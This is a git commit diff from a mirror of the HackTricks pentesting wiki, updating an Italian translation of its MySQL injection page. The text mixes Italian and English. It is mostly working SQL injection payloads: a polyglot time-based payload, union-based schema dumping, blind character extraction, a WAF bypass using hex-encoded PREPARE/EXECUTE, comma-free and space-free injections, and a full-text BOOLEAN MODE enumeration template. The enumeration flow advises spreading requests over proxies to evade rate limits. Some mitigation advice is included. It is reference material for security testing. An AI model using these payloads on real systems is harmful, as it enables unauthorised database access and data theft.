mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
b868f3b307
commit
d59e1f0330
@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## Tutte le iniezioni
|
||||
## Tutte le injection
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
da [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Flusso
|
||||
## Flow
|
||||
|
||||
Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire "_**information_schema.tables**_" con "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypassare i WAF).
|
||||
Ricorda che in "moderne" versioni di **MySQL** puoi sostituire "_**information_schema.tables**_" per "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypass WAFs).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
@ -64,22 +64,22 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **Cieco uno per uno**
|
||||
### **Blind one by one**
|
||||
|
||||
- `substr(version(),X,1)='r'` o `substring(version(),X,1)=0x70` o `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **Cieco aggiungendo**
|
||||
### **Blind adding**
|
||||
|
||||
- `LPAD(version(),1...lunghezza(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lunghezza(version()),'1')='asd'...`
|
||||
- `SELECT RIGHT(version(),1...lunghezza(version()))='asd'...`
|
||||
- `SELECT LEFT(version(),1...lunghezza(version()))='asd'...`
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## Rileva il numero di colonne
|
||||
## Rilevare il numero di colonne
|
||||
|
||||
Utilizzando un semplice ORDER
|
||||
Usando un semplice ORDER
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL Basato su Union
|
||||
## MySQL Union Based
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -101,66 +101,66 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**Impara qui diverse opzioni per** [**abuse a Mysql injection per ottenere un SSRF**](mysql-ssrf.md)**.**
|
||||
**Scopri qui diverse opzioni per** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## WAF bypass tricks
|
||||
|
||||
### Esecuzione di query tramite Prepared Statements
|
||||
|
||||
Quando le query impilate sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si desidera eseguire (utilizzando SET), e poi utilizzare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa del genere:
|
||||
Quando stacked queries sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si vuole eseguire (usando SET), e poi usare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa di simile:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Per ulteriori informazioni, si prega di fare riferimento a [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
Per maggiori informazioni consulta [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
|
||||
### Alternative a information_schema
|
||||
### Alternative a Information_schema
|
||||
|
||||
Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire _**information_schema.tables**_ con _**mysql.innodb_table_stats**_ o con _**sys.x$schema_flattened_keys**_ o con **sys.schema_table_statistics**
|
||||
|
||||
### MySQLinjection senza VIRGOLA
|
||||
### MySQLinjection senza virgole
|
||||
|
||||
Seleziona 2 colonne senza utilizzare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Seleziona 2 colonne senza usare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Recupero dei valori senza il nome della colonna
|
||||
### Recuperare i valori senza il nome della colonna
|
||||
|
||||
Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come:
|
||||
Se conosci il nome della tabella ma non i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere:
|
||||
Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra la flag, puoi provare a bruteforce il contenuto della flag provando carattere per carattere:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Injection senza SPAZI (`/**/` comment trick)
|
||||
### Injection without SPACES (`/**/` comment trick)
|
||||
|
||||
Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**.
|
||||
Poiché MySQL tratta la sequenza `/**/` sia come un commento *che* come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.
|
||||
Poiché MySQL tratta la sequenza `/**/` come commento *e* come spazio bianco, può essere usata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.
|
||||
|
||||
Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi:
|
||||
Esempio time-based blind injection bypassing the space filter:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
Quale il database riceve come:
|
||||
Che il database riceve come:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
Questo è particolarmente utile quando:
|
||||
|
||||
* Il buffer controllabile è limitato in dimensione (ad es. `%128s`) e gli spazi terminerebbero prematuramente l'input.
|
||||
* Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori.
|
||||
* Combinato con le primitive `INTO OUTFILE` per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE).
|
||||
* Il buffer controllabile è limitato nella dimensione (es. `%128s`) e gli spazi terminerebbero prematuramente l'input.
|
||||
* Iniettando tramite HTTP headers o altri campi in cui gli spazi normali vengono rimossi o usati come separatori.
|
||||
* Combinato con primitive `INTO OUTFILE` per ottenere un RCE completo pre-auth (vedi la sezione MySQL File RCE).
|
||||
|
||||
---
|
||||
|
||||
### Storia di MySQL
|
||||
### MySQL history
|
||||
|
||||
Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: **sys.x$statement_analysis**
|
||||
|
||||
@ -170,7 +170,52 @@ mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Altri guide all'iniezione MYSQL
|
||||
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||
|
||||
Questa non è una classica SQL injection. Quando gli sviluppatori passano input utente in `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL esegue un insieme ricco di operatori di ricerca booleana all'interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sulla rottura delle virgolette e non considerano questa superficie.
|
||||
|
||||
Key points:
|
||||
- Gli operatori vengono valutati all'interno delle virgolette: `+` (deve includere), `-` (non deve includere), `*` (trailing wildcard), `"..."` (frase esatta), `()` (raggruppamento), `<`/`>`/`~` (pesi). Consulta la documentazione MySQL.
|
||||
- Questo permette test di presenza/assenza e di prefisso senza uscire dalla stringa letterale, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` per verificare qualsiasi termine che inizi con `admin`.
|
||||
- Utile per costruire oracoli come “esiste qualche riga che contiene un termine con prefisso X?” e per enumerare stringhe nascoste tramite espansione per prefisso.
|
||||
|
||||
Example query built by the backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
Se l'applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. reindirizzamento vs. messaggio di errore), questo comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati.
|
||||
|
||||
Sanitizer bypass patterns (generic):
|
||||
- Boundary-trim preserving wildcard: se il backend rimuove 1–2 caratteri finali per parola tramite una regex come `(\b.{1,2})(\s)|(\b.{1,2}$)`, invia `prefix*ZZ`. Il cleaner rimuove i `ZZ` ma lascia il `*`, quindi `prefix*` sopravvive.
|
||||
- Early-break stripping: se il codice rimuove gli operatori parola per parola ma smette di processare quando trova un qualsiasi token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene l'operator payload. Per esempio: `&&&&& +jack*ZZ` → dopo la pulizia: `+&&&&& +jack*`.
|
||||
|
||||
Payload template (URL-encoded):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26` è `&`, `%2B` è `+`. Il suffisso `xD` (o qualsiasi due lettere) viene rimosso dal cleaner, preservando `{FUZZ}*`.
|
||||
- Considera un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l'oracolo osservabile.
|
||||
|
||||
Flusso di enumerazione:
|
||||
1) Inizia con `{FUZZ} = a…z,0…9` per trovare corrispondenze della prima lettera tramite `+a*`, `+b*`, …
|
||||
2) Per ogni prefisso positivo, dirama: `a* → aa* / ab* / …`. Ripeti per recuperare l'intera stringa.
|
||||
3) Distribuisci le richieste (proxies, multiple accounts) se l'app impone flood control.
|
||||
|
||||
Perché i titoli spesso leak mentre i contenuti no:
|
||||
- Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titles/subjects. Se il control-flow dipende dall'esito “any results?” prima del filtraggio, si verificano existence leaks.
|
||||
|
||||
Mitigazioni:
|
||||
- Se non ti serve la logica Boolean, usa `IN NATURAL LANGUAGE MODE` o tratta l'input utente come un literal (escape/quote disabilita gli operatori in altre modalità).
|
||||
- Se la modalità Boolean è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (`+ - * " ( ) < > ~`) per ogni token (no early breaks) dopo la tokenizzazione.
|
||||
- Applica filtri di visibilità/autorizzazione prima del MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è empty vs. non-empty.
|
||||
- Rivedi funzionalità analoghe in altri DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` analizzano anche operatori all'interno di argomenti tra virgolette.
|
||||
|
||||
Note:
|
||||
- Prepared statements non proteggono dall'abuso semantico di `REGEXP` o operatori di ricerca. Un input come `.*` rimane una regex permissiva anche dentro un quoted `REGEXP '.*'`. Usa allow-lists o guard espliciti.
|
||||
|
||||
## Altre MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
@ -178,6 +223,10 @@ mysql> select version();
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user